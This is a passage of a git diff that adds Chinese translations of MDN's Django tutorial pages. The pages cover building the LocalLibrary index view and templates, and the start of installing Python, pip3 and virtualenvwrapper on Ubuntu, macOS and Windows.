)将被调用。URL模式是<a href="https://docs.python.org/3/library/re.html">Python 正则表达式</a> (RE)。我们将在本教程中进一步介绍RE。</p> + +<div class="note"> +<p><strong>注意: </strong>在 <strong>/locallibrary/locallibrary/urls.py</strong> </p> + +<pre><code>urlpatterns += [ + path('catalog/', include('catalog.urls')), +]</code></pre> + +<p>每当Django 使用 include() (<a href="https://docs.djangoproject.com/en/1.11/ref/urls/#django.conf.urls.include" title="django.conf.urls.include"><code>django.conf.urls.include()),</code></a><code>它排除与该点 匹配URL的任何部分,并将剩余的字符串发送到随附的 URLconf 进行一步处理。</code></p> + +<p>匹配的URL 实际上是 <code>catalog/</code>+<空字符串> (<code>/catalog/</code> 假定是因为 <code>include()</code>是使用的方法)。如果我们收到一个URL的HTTP请求,我们的第一个视图函数将被调用<code>/catalog/。</code></p> +</div> + +<p>此函数还说明了一个<code>name</code>参数,此唯一标识指定 URL 映射。你可以使用 "reverse" 映射—去动态创建指定映射设计处理的资源的一个URL。例如,我们现在可以通过在我们的模版中创建以下链接到我们的主页:</p> + +<pre class="brush: html"><a href="<strong>{% url 'index' %}</strong>">Home</a>.</pre> + +<div class="note"> +<p><strong>注意</strong>: 我们当然可以硬编码上面的链接(如:<code><a href="<strong>/catalog/</strong>">Home</a></code>),但是如果我们改变了主页的模式,模版将不再正确链接,使用反向网址映射会更灵活和强大。</p> +</div> + +<h3 id="View_基于功能">View (基于功能)</h3> + +<p>视图是处理HTTP请求的功能,根据需要从数据库获取数据,通过使用HTML模板呈现此数据生成HTML页面,然后以HTTP响应返回HTML以显示给用户。索引视图遵循此模型 - 它提取有关数据库中有多少<code>Book</code>,<code>BookInstance </code>可用 <code>BookInstance</code> 和<code> Author</code> 记录的信息,并将其传递给模板以进行显示。</p> + +<p>打开catalog / views.py,并注意该文件已经导入了 使用模板和数据生成HTML文件的 <a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">render()</a> 快捷方式函数。</p> + +<pre class="brush: python">from django.shortcuts import render + +# Create your views here. +</pre> + +<p>复制文件底部的以下代码。第一行导入我们将用于访问所有视图中数据的模型类。</p> + +<pre class="brush: python">from .models import Book, Author, BookInstance, Genre + +def index(request): + """ + View function for home page of site. + """ + # Generate counts of some of the main objects + num_books=Book.objects.all().count() + num_instances=BookInstance.objects.all().count() + # Available books (status = 'a') + num_instances_available=BookInstance.objects.filter(status__exact='a').count() + num_authors=Author.objects.count() # The 'all()' is implied by default. + + # Render the HTML template index.html with the data in the context variable + return render( + request, + 'index.html', + context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors}, + )</pre> + +<p>视图函数的第一部分使用<code>objects.all()</code>模型类的属性来获取记录计数。它还会获取一个<code>BookInstance</code>状态字段值为“a”(可用)的对象列表。您可以在前面的教程 (<a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Django Tutorial Part 3: Using models > Searching for records</a>)中找到更多关于如何访问模型的信息。</p> + +<p>在函数结束时,我们将该函数称为<code>render()</code>创建和返回HTML页面作为响应(此快捷方式函数包含许多其他函数,简化了这种非常常见的用例)。它将原始<code>request</code>对象(an HttpRequest)作为参数,具有数据占位符的HTML模板以及<code>context</code>变量(包含要插入到这些占位符中的数据的Python字典)。</p> + +<p>我们将在下一节中详细介绍模板和上下文变量; 让我们创建我们的模板,以便我们可以向用户显示一些内容</p> + +<h3 id="模版">模版</h3> + +<p>模版是定义一个文件(例如HTML页面)的结构与布局的文本文件,其中占位符用于表示实际内容。Django将自动在应用程序“templates”目录查找模版。所以例如,在我们刚刚加的索引页,<code>render()</code> 函数会期望能够找到<strong>/locallibrary/catalog/templates/<em>index.html</em></strong>这个文件,如何找不到该文件,则会引发错误。如果保存以前的更改并返回到浏览器,你可以看到访问 <code><a href="127.0.0.1:8000">127.0.0.1:8000</a> 现在将提供你一个相当直观的错误信息</code>"<strong>TemplateDoesNotExist at /catalog/</strong>“以及其他详细信息。</p> + +<div class="note"> +<p><strong>注意</strong>: Django 将根据你的项目的设置文件, 来查看模版的许多位置 (在已安装的应用程序中进行搜索是默认设置). 你可以查阅更多关于Django如何找到模版以及它支持的模版格式在<a href="https://docs.djangoproject.com/en/1.10/topics/templates/">(Templates</a> )。</p> +</div> + +<h4 id="扩展模版">扩展模版</h4> + +<p>索引模版将需要标准的HTML标记头部和正文,以及用于导航的部分(去我们尚为创建的网站其他的页面)以及显示一些介绍文本和我们书籍数据。我们网站上的每一页,大部分文字(HTML和导航结构)都是一样的。Django模版语言不是强制开发人员在每个页面中复制这个“样板”,而是让你声明一个基本模版,然后再扩展它,仅替换每个特定页面不同的位置。</p> + +<p>例如,基本模版 <code>base_generic.html</code> 可能看起来像下面的文本。正如你所见的,它包含一些“常见“HTML”和标题,侧边栏和使用命名 <code>block</code> 和 <code>endblock</code> 模版标记(粗体显示)标记的内容部分。块可以是空的,或者包含将被派生页“默认使用”的内容。</p> + +<div class="note"> +<p><strong>注意</strong>: 模版标签就像你可以在模版中使用的函数循环列表,基于变量的值执行条件操作等。除了模版标签,模版语法允许你引用模版变量(通过从视图进入模版),并使用模版过滤器,其中重新格式化变量(例如,将字符串设置为小写)。</p> +</div> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + <strong>{% block title %}</strong><title>Local Library</title><strong>{% endblock %}</strong> +</head> + +<body> + <strong>{% block sidebar %}</strong><!-- insert default navigation text for every page --><strong>{% endblock %}</strong> + <strong>{% block content %}</strong><!-- default content text (typically empty) --><strong>{% endblock %}</strong> +</body> +</html> +</pre> + +<p>当我们要为特定视图定义一个模版时,我们首先指定基本模版(使用 <code>extends</code> 模版标签—查看下一个代码片段)。如果我们想要在模版中替换的章节,会使用相同的 <code>block/endblock </code>部分在基本模版表明。</p> + +<p>例如,下面我们使用 <code>extends</code> 模版标签,并覆盖 <code>content</code> 块。生成的最终HTML页面将具有基本模版中定义的所以HTML和结构(包括你在<code>title</code>块中定义的默认内容),但你新的 <code>content</code> 块插入到了默认的那块。</p> + +<p><code>base_generic.html</code> 详细会在下文中,请耐心往下看。</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<h1>Local Library Home</h1> +<p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> +{% endblock %}</pre> + +<h4 id="本地图书馆-基本模版">本地图书馆-基本模版</h4> + +<p>下面就是我们计划的基本模版用于本地图书馆网站。正如所看到的,内容包括一些HTML和定义块 <code>title</code> ,<code>sidebar</code> 和 <code>content</code>。我们有默认的 <code>title</code>(当然我们可以改)和默认的所以书籍和作者的链接列表 <code>sidebar</code> (我们可能并不会怎么改,但需要时,我们通过把想法放入块<code>block</code>中,比如想法是—允许范围)。</p> + +<div class="note"> +<p><strong>注意</strong>: 我们再介绍两个额外的模版标签: <code>url</code> 和 <code>load static </code>。下文中我们会详细介绍。</p> +</div> + +<p>创建一个新的文件 — <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> — 写入如下代码</p> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> + + {% block title %}<title>Local Library</title>{% endblock %} + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> + <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script> + <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> + + <!-- Add additional CSS in static file --> + {% load static %} + <link rel="stylesheet" href="{% static 'css/styles.css' %}"> +</head> + +<body> + + <div class="container-fluid"> + + <div class="row"> + <div class="col-sm-2"> + {% block sidebar %} + <ul class="sidebar-nav"> + <li><a href="{% url 'index' %}">Home</a></li> + <li><a href="">All books</a></li> + <li><a href="">All authors</a></li> + </ul> + {% endblock %} + </div> + <div class="col-sm-10 "> + {% block content %}{% endblock %} + </div> + </div> + + </div> +</body> +</html></pre> + +<p>该模版使用(并包含)JavaScript 和 <a href="http://getbootstrap.com/">Bootstrap </a>(css框架)来改进HTML页面的布局和显示,这个框架或者另一个客户端网络框架,这是快速创建一个可用页面来适应在不同浏览器尺寸和允许我们处理页面呈现且不用一点细节—我们只需要专注在服务器端。</p> + +<p>基本模版还引用了一个本地css文件 (<strong>styles.css</strong>) ,它提供了一些额外的样式。 新建 <strong>/locallibrary/catalog/static/css/styles.css</strong> 如下:</p> + +<pre class="brush: css">.sidebar-nav { + margin-top: 20px; + padding: 0; + list-style: none; +}</pre> + +<h4 id="索引模版">索引模版</h4> + +<p>新建HTML文件 <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> 写入下面代码。第一行我们扩展了我们的基本模版, 使用 <code>content</code>替换默认块。</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<h1>Local Library Home</h1> + + <p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> + +<h2>Dynamic content</h2> + + <p>The library has the following record counts:</p> + <ul> + <li><strong>Books:</strong> <strong>\{{ num_books }}</strong></li> + <li><strong>Copies:</strong> <strong>\{{ num_instances }}</strong></li> + <li><strong>Copies available:</strong> <strong>\{{ num_instances_available }}</strong></li> + <li><strong>Authors:</strong> <strong>\{{ num_authors }}</strong></li> + </ul> + +{% endblock %}</pre> + +<div class="note"> +<p>注意:由于本网站就是通过<strong>django </strong>来运维,<code><strong>\{{ </strong></code>的模版标签 在上面代码中会运行,只能通过增加 <code>\ </code>来转义,而不能直接写出“双大括号”。</p> +</div> + +<p>在动态内容部分,我们的占位符(模版变量),是给我们想要视图的信息声明。变量使用“双大括号“ 或者“句柄“语法进行标记。</p> + +<div class="note"> +<p><strong>注意:</strong> 你可以轻松地识别是否使用变量或模版标签(函数),因为变量具有双括号(<code>\{{ num_books }}</code>) 而标记被包含在带有百分比符号 (<code>{% extends "base_generic.html" %}</code>)的单个大括号中。</p> +</div> + +<p>这里要注意的重要事情是这些变量用我们视图函数<code>render</code>中的字典—注入 <code>context</code> (下面);当渲染模版时,这些将替换为相关联的值。</p> + +<pre class="brush: python">return render( + request, + 'index.html', + context={'<strong>num_books</strong>':num_books,'<strong>num_instances</strong>':num_instances,'<strong>num_instances_available</strong>':num_instances_available,'<strong>num_authors</strong>':num_authors}, +)</pre> + +<h4 id="在模版中引用静态文件">在模版中引用静态文件</h4> + +<p>你的项目可能会使用静态资源,包括<strong>javascript</strong>,<strong>css</strong> 和图像。由于这些文件的位置可能不知道(或者可能会发生变化),则Django允许你指定你的模版相对于这些文件的位置 <code><strong>STATIC_URL</strong></code> 全局设置(默认基本网站设置的值 <code><strong>STATIC_URL</strong></code>,以“<code><strong>/static/</strong></code>”,但你可能选择在CDN和其他地方托管内容)。</p> + +<p>在模版中,你首先调用 <code>load</code> 指定“ <code>static</code>”去添加此模版库(如下)。静态加载后,你可以使用 <code>static</code> 模版标签,指定感兴趣的文件相对<code>URL</code></p> + +<pre class="brush: html"> <!-- Add additional CSS in static file --> +{% load static %} +<link rel="stylesheet" href="{% static 'css/styles.css' %}"></pre> + +<p>你可以用同样的方式将图像添加到页面中:</p> + +<pre class="brush: html">{% load static %} +<img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="My image" style="width:555px;height:540px;"/> +</pre> + +<div class="note"> +<p><strong>主题</strong>: 上面的更改指定文件所在的位置,但Django默认不提供它们。当我们<a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">created the website skeleton</a>,我们在全局URL映射器r (<strong>/locallibrary/locallibrary/urls.py</strong>) 中开发Web服务器提供服务,你仍然需要安排它们在生产中投放。我们接下来看一看</p> +</div> + +<p>更多内容—<a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Managing static files</a> (Django docs).</p> + +<h4 id="链接URLs">链接URLs</h4> + +<p>基本的模版引入<code> url</code> 模版标签</p> + +<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> +</pre> + +<p>此标记<code>url()</code>使用您的<strong>urls.py</strong>中调用的函数的名称 和相关视图将从该函数接收的任何参数的值,并返回可用于链接到该资源的URL。</p> + +<h2 id="它看起来什么样?">它看起来什么样?</h2> + +<p>运行 (<code>python3 manage.py runserver</code>) 和在浏览器中打开 <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>. I如果一切都正确设置,当当当当。</p> + +<p><img alt="Index page for LocalLibrary website" src="https://mdn.mozillademos.org/files/14045/index_page_ok.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 874px;"></p> + +<div class="note"> +<p><strong style='background-color: #fff3d4; border: 0px; color: #333333; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 18px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'><font><font>注意:</font></font></strong><font><font>由于尚未定义这些网页的网址,视图和模板,因此</font><font>您将无法使用“<span> </span></font></font><strong style='background-color: #fff3d4; border: 0px; color: #333333; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 18px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'><font><font>所有图书</font></font></strong><font><font>和</font></font><strong style='background-color: #fff3d4; border: 0px; color: #333333; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 18px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'><font><font>所有作者”</font></font></strong><font><font>链接(目前我们刚刚在</font></font><code style='background-color: rgb(238, 238, 238); color: rgb(51, 51, 51); margin: 0px; padding: 2px 5px; border: 0px; font-style: normal; font-weight: normal; border-radius: 2px; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word; font-size: 1rem; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; text-decoration-style: initial;'>base_generic.html</code><font><font>模板中</font><font>插入了这些链接的占位符</font><font>)</font></font></p> +</div> + +<h2 id="挑战自己">挑战自己</h2> + +<p>以下是一些测试您熟悉模型查询,视图和模板的任务。</p> + +<p> 1. 在索引模板中声明一个新的标题块,并更改页面标题以匹配此特定页面。<br> + 2. 修改视图以生成包含特定单词(不区分大小写)的类型计数和书数,然后将这些字段添加到模板。</p> + +<ul> +</ul> + +<h2 id="概要_2">概要</h2> + +<p>我们现在已经为我们的网站创建了主页 - 一个HTML页面,显示数据库中的一些记录数,并且链接到我们其他尚待创建的页面。一路上,我们已经学到了很多有关url映射器,视图,使用我们的模型查询数据库的基本信息,如何从您的视图传递信息到模板,以及如何创建和扩展模板。</p> + +<p>在我们的下一篇文章中,我们将基于我们的知识来创建其他四个页面。</p> + +<h2 id="也可以看看">也可以看看</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial03/">Writing your first Django app, part 3: Views and Templates</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/">URL 调度程序</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/views/">视图函数</a> (DJango docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/templates/">模版</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">管理静态文件</a>(Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">Django 快捷功能</a>(Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p> diff --git a/files/zh-cn/learn/server-side/django/开发环境/index.html b/files/zh-cn/learn/server-side/django/开发环境/index.html new file mode 100644 index 0000000000..fb6041621f --- /dev/null +++ b/files/zh-cn/learn/server-side/django/开发环境/index.html @@ -0,0 +1,406 @@ +--- +title: 设置Django开发环境 +slug: learn/Server-side/Django/开发环境 +tags: + - Python + - django +translation_of: Learn/Server-side/Django/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">现在,你知道什么是Django。<br> + 那么我们将向你展示如何在Windows,Linux(Ubuntu)和 Mac OSX上设置和测试Django开发环境—无论你常用哪种操作系统,本文能给你开发Django应用所需的一切。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>知道如何在你开发所用的计算机操作系统中,打开终端/命令行和安装软件包。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>在你的计算机中运行Django(1.10)开发环境。</td> + </tr> + </tbody> +</table> + +<h2 id="Django_开发环境概述">Django 开发环境概述</h2> + +<p>Django 使你可以轻松配置自己的电脑,以便开始开发网络应用。本节解释您可以从开发环境中获得什么,并提供一些设置和配置选项的概述。本文的其余部分介绍了在<strong>Ubuntu</strong>,<strong>Mac</strong> OSX和<strong>Windows</strong>上安装Django开发环境的 <strong>推荐方法</strong>,以及如何测试。</p> + +<h3 id="什么是Django开发环境">什么是Django开发环境?</h3> + +<p>开发环境是本地计算机上的Django安装,在将Django应用程序部署到生产环境之前,您可以使用它来开发和测试Django应用程序。</p> + +<p>Django 本身提供的主要工具是一组用于创建和使用Django项目的Python脚本,以及可在你电脑的web 浏览器中测试本地Django web应用(在你的计算机,而不是在外部的web 服务器)。</p> + +<p>还有其他外部工具, 它们构成了开发环境的一部分, 我们将不再赘述。这些包括 <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">文本编辑器</a> 或编辑代码的IDE,以及像 <a href="https://git-scm.com/">Git</a> 这样的源代码控制管理工具,用于安全地管理不同版本的代码。我们假设你已经安装了一个文本编辑器。</p> + +<h3 id="什么是Django设置选项">什么是Django设置选项?</h3> + +<p>Django 在安装和配置方面非常灵活。Django可以:</p> + +<ul> + <li>安装在不同的操作系统上。</li> + <li>通过源代码、Python包索引(PyPi)进行安装,而大多数情况下,是通过主机的包管理应用程序安装的。</li> + <li>配置为使用几个数据库之一,可能还需要单独安装和配置。</li> + <li>在主系统的Python环境或在单独的Python虚拟环境中运行。</li> +</ul> + +<p>每个选项都需要略微不同的配置和设置。以下小节解释了你的一些选择。在本文的其余部分中,我们将介绍Django在几个操作系统上的设置,并且在本教程的剩余模块中将假设你已进行该设置。</p> + +<div class="note"> +<p><strong>注意</strong>: 其他可能的安装选项在官方Django文档中介绍。<a href="#furtherreading">相应文件 点击这里</a>.</p> +</div> + +<h4 id="支持哪些操作系统">支持哪些操作系统?</h4> + +<p>Django web应用程序能运行在几乎任何可以运行Python3的计算机上:Windows,Mac OSX,Linux/Unix,Solaris,仅举几例。几乎任何计算机都具备在开发期间运行Django所需的性能。</p> + +<p>在本文中。我们将提供Windows,macOS 和Linux/Unix的说明。</p> + +<h4 id="你应该使用什么版本的Python">你应该使用什么版本的Python?</h4> + +<p>我们建议你使用最近发行的版本,在本文档写作的时候是Python 3.8.2。</p> + +<p>事实上,Python 3.5 以及更新的版本都可以用来开发,不过对Python 3.5的支持可能会在未来的版本更新中被移除。</p> + +<p>我们建议你使用最新版本的Python 3,除非该站点依赖于仅适用于Python 2 的第三方库。本文将介绍如何为Python 3安装环境(Python 2 的等效设置将非常相似)。</p> + +<ul> +</ul> + +<div class="note"> +<p><strong>注意</strong>: Python 2.7 无法用于当前的 Django 发行版本(Django 1.11.x 系列是最后支持 Python 2.7 的版本)。</p> +</div> + +<h4 id="我们在哪里下载Django">我们在哪里下载Django?</h4> + +<p>有三个地方可以下载Django:</p> + +<ul> + <li>Python包资源库 (PyPi)。并用<strong> pip </strong>工具进行安装,这是获取Django 最新稳定版本的最佳方式。</li> + <li>计算机软件包管理器。与操作系统捆绑在一起的Django发行版是一种常见的安装途径。请注意,打包的版本可能很老,且只能安装到系统Python 环境中(而这可能不是你想要的)。</li> + <li>源代码。你可以从源代码获得并安装最新版本的Django。这并不推荐给初学者,但是当你准备好开始贡献给Django项目本身的时候,它是必需的。</li> +</ul> + +<p>本文介绍如何从PyPi安装Django的最新稳定版本。</p> + +<h4 id="哪个数据库">哪个数据库?</h4> + +<p>Django支持四个主要数据库(PostgreSQL,MySQL,Oracle和SQLite),还有一些社区库可以为其他流行的SQL和NOSQL数据库提供不同级别的支持。我们建议你为生产和开发选择相同的数据库(尽管Django使用其对象关系映射器(ORM)抽象了许多数据库之间的差异,但是仍然存在本可以避免的<a href="https://docs.djangoproject.com/en/1.10/ref/databases/">潜在问题</a> ).</p> + +<p>对于本文(和本模块的大部分),我们将使用将数据存储在文件中的SQLite数据库。SQLite旨在用作轻量级数据库,不能支持高并发。然而,这确实是只读的应用程序的绝佳选择。</p> + +<div class="note"> +<p><strong>注意:</strong>当你使用标准工具(django-admin)启动你的网站项目时,Django将默认使用SQLite。用来入门时,这是一个很好的选择,因为它不需要额外的配置和设置。</p> +</div> + +<h4 id="安装本机系统还是Python虚拟环境中">安装本机系统还是Python虚拟环境中?</h4> + +<p>当你安装Python3时,将获得一个由所有Python3代码共享的全局环境。虽然你可以在该环境中安装任何你喜欢的Python包,但是每次只能安装每个包的一个特定版本。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:安装到全局环境的Python应用程序可能会相互冲突(例如如果它们依赖于同一包的不同版本)。</p> +</div> + +<p>如果你把Django安装到默认/全局环境中,那么在该计算机上将只能定位到Django的一个版本。如果你想创建新的网站(使用最新版本的Django),同时仍然维护依赖旧版本的网站,这可能是个问题。</p> + +<p>因此,经验丰富的Python/Django开发人员通常在独立Python虚拟环境中运行Python应用程序。这样就可以在一台计算机上实现多个不同的Django环境。Django开发团队同样建议你使用Python虚拟环境。</p> + +<p>本模块假设已经将Django安装到虚拟环境中,下面我们会演示如何进行。</p> + +<h2 id="安装_Python_3">安装 Python 3</h2> + +<p>为了使用Django,你需要在你的操作系统中安装Python。如果你使用Python3,那么你同样需要<a href="https://pypi.python.org/pypi">Python 包管理工具</a> — <em>pip3</em> — 用来管理 (安装,更新和删除)被Django和其他Python应用程序使用的Python软件包/库。</p> + +<p>本节简要介绍了如何检查有哪些版本的Python,并根据需要安装适用于 <strong>Ubuntu Linux 16.04,macOS, and Windows 10</strong>的新版本。</p> + +<div class="note"> +<p><strong>注意</strong>: 根据你的平台, 您还可以从操作系统自己的软件包管理器或其他机制安装Python / pip。对于大多数平台,您可以从<a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a>下载所需的安装文件,并使用该平台特定的方法进行安装。</p> +</div> + +<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3> + +<p>Ubuntu Linux 18.04 LTS默认包含Python 3.6.6。你可以通过在Bash终端中运行以下命令来确认这一点:</p> + +<pre class="notranslate"><span style="line-height: 1.5;">python3 -V + Python 3.6.6</span></pre> + +<p>然而,在默认情况下,为Python 3(包括Django)安装软件包的Python包管理工具<strong>不可用。你</strong>可以在<strong>bash</strong>终端中使用以下命令安装<strong>pip3</strong><strong>:</strong></p> + +<pre class="notranslate">sudo apt-get install python3-pip +</pre> + +<h3 id="macOS">macOS</h3> + +<p>macOS 的"El Capitan" 及其他最新版本不包含Python 3。你可以通过在bash终端中运行一下命令来确认:</p> + +<pre class="notranslate"><span style="line-height: 1.5;">python3 -V + </span>-bash: python3: command not found</pre> + +<p>你可以轻松地从<a href="https://www.python.org/"> python.org</a>安装Python 3(以及pip3工具):</p> + +<ol> + <li>下载所需的安装程序: + <ol> + <li>点击 <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> + <li>选择 <strong>Download Python 3.8.2</strong> (具体的版本号可能不同)。</li> + </ol> + </li> + <li>使用Finder找到安装包,然后双击运行,并按照提示进行安装。</li> +</ol> + +<p>之后可以通过检查Python3版本确认是否安装成功,如下所示:</p> + +<pre class="notranslate"><span style="line-height: 1.5;">python3 -V +Python 3.8.2</span></pre> + +<p>你也可以通过列出可用的包来检查pip3是否安装了:</p> + +<pre class="notranslate">pip3 list</pre> + +<h3 id="Windows_10">Windows 10</h3> + +<p>windows默认不包含Python, 但你可以从<a href="https://www.python.org/"> python.org</a>轻松地安装它(以及pip3工具):</p> + +<ol> + <li>下载所需版本: + <ol> + <li>点击 <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> + <li>选择 <strong>Download Python 3.8.2</strong> (具体的版本号可能不同)。</li> + </ol> + </li> + <li>双击现在的文件并按照提示安装Python。</li> + <li>确保勾选了"Add Python to PATH"选项。</li> +</ol> + +<p>你可以在命令提示符中输入以下内容来验证是否安装了Python:</p> + +<pre class="notranslate"><span style="line-height: 1.5;">python -V + Python 3.8.2</span> +</pre> + +<p>Windows安装程序默认包含pip3 (Python包管理器)。同样在命令提示符中输入以下内容来列出已安装的包:</p> + +<pre class="notranslate"><span style="line-height: 1.5;">pip3 list</span> +</pre> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>安装包应该已把运行上述命令所需的一切设置完成。但如果你得到的消息是找不到Python,那么你可能忘记将Python添加到系统路径中了。你可以通过再次运行安装包,选择"Modify",并在下一页面中勾选 "Add Python to environment variables"来修复这个问题。</p> +</div> + +<h2 id="在Python虚拟环境中使用Django">在Python虚拟环境中使用Django</h2> + +<p>我们使用<a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html" rel="noopener">virtualenvwrapper</a>(Linux及macOS)和 <a href="https://pypi.python.org/pypi/virtualenvwrapper-win" rel="noopener">virtualenvwrapper-win</a>(WIndows)来创建Python虚拟环境,而它们又使用了<a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>。封装工具创建了一个一致的接口来管理各个平台上的接口。</p> + +<h3 id="安装虚拟环境软件">安装虚拟环境软件</h3> + +<h4 id="Ubuntu虚拟环境设置">Ubuntu虚拟环境设置</h4> + +<p>安装了Python和pip之后,你就可以安装virtualenvwrapper(包括了virtualenv)。可以在<a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">这里</a>找到正式的安装指南,或按照以下指导操作。</p> + +<p>使用pip3安装该工具:<span></span></p> + +<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code></pre> + +<p>然后将以下代码行添加到shell启动文件的末尾(这是主目录中的一个隐藏文件,名字是.bashrc)。这些文件设置了虚拟环境应该存在的位置、开发项目目录的位置以及与这个包一起安装的脚本的位置。</p> + +<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 ' +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code></pre> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><code>VIRTUALENVWRAPPER_PYTHON</code> 和 <code>VIRTUALENVWRAPPER_VIRTUALENV_ARGS</code>变量指向Python3的常规安装位置,<code>source /usr/local/bin/virtualenvwrapper.sh</code>指向<code>virtualenvwrapper.sh</code>脚本的一般安装位置。 如果您在测试时发现<em>virtualenv</em>无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。</p> + +<p>你可以使用<code>which virtualenvwrapper.sh</code> 和 <code>which python3</code>命令为你的系统找到正确的安装位置。</p> +</div> + +<p>然后通过在终端中运行以下命令重载启动文件:</p> + +<pre class="notranslate"><code>source ~/.bashrc</code></pre> + +<p>此时,你应该能看到一些脚本正在运行,如下所示:</p> + +<pre class="notranslate"><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code></pre> + +<p>然后你就可以使用 <code>mkvirtualenv</code>命令创建一个新的虚拟环境。</p> + +<h4 id="macOS_虚拟环境设置">macOS 虚拟环境设置</h4> + +<p>在macOS上设置<em>virtualenvwrapper</em> 几乎和在Ubuntu上是一样的(你同样可以按照以下指导操作,或在<a href="https://virtualenvwrapper.readthedocs.io/en/latest/install.html">这里</a>找到正式的安装指南)。</p> + +<p>使用<em>pip</em>安装<em>virtualenvwrapper</em>(并绑定<em>virtualenv</em>),如下所示。</p> + +<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code></pre> + +<p>然后将以下代码行添加到shell启动文件的末尾:</p> + +<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /usr/local/bin/virtualenvwrapper.sh</code></pre> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><code>VIRTUALENVWRAPPER_PYTHON</code> 和 <code>VIRTUALENVWRAPPER_VIRTUALENV_ARGS</code>变量指向Python3的常规安装位置,<code>source /usr/local/bin/virtualenvwrapper.sh</code>指向<code>virtualenvwrapper.sh</code>脚本的一般安装位置。 如果您在测试时发现<em>virtualenv</em>无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。</p> + +<p>例如,在macOS上的一个安装测试中,启动文件中必须有以下几行代码:</p> + +<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs +export 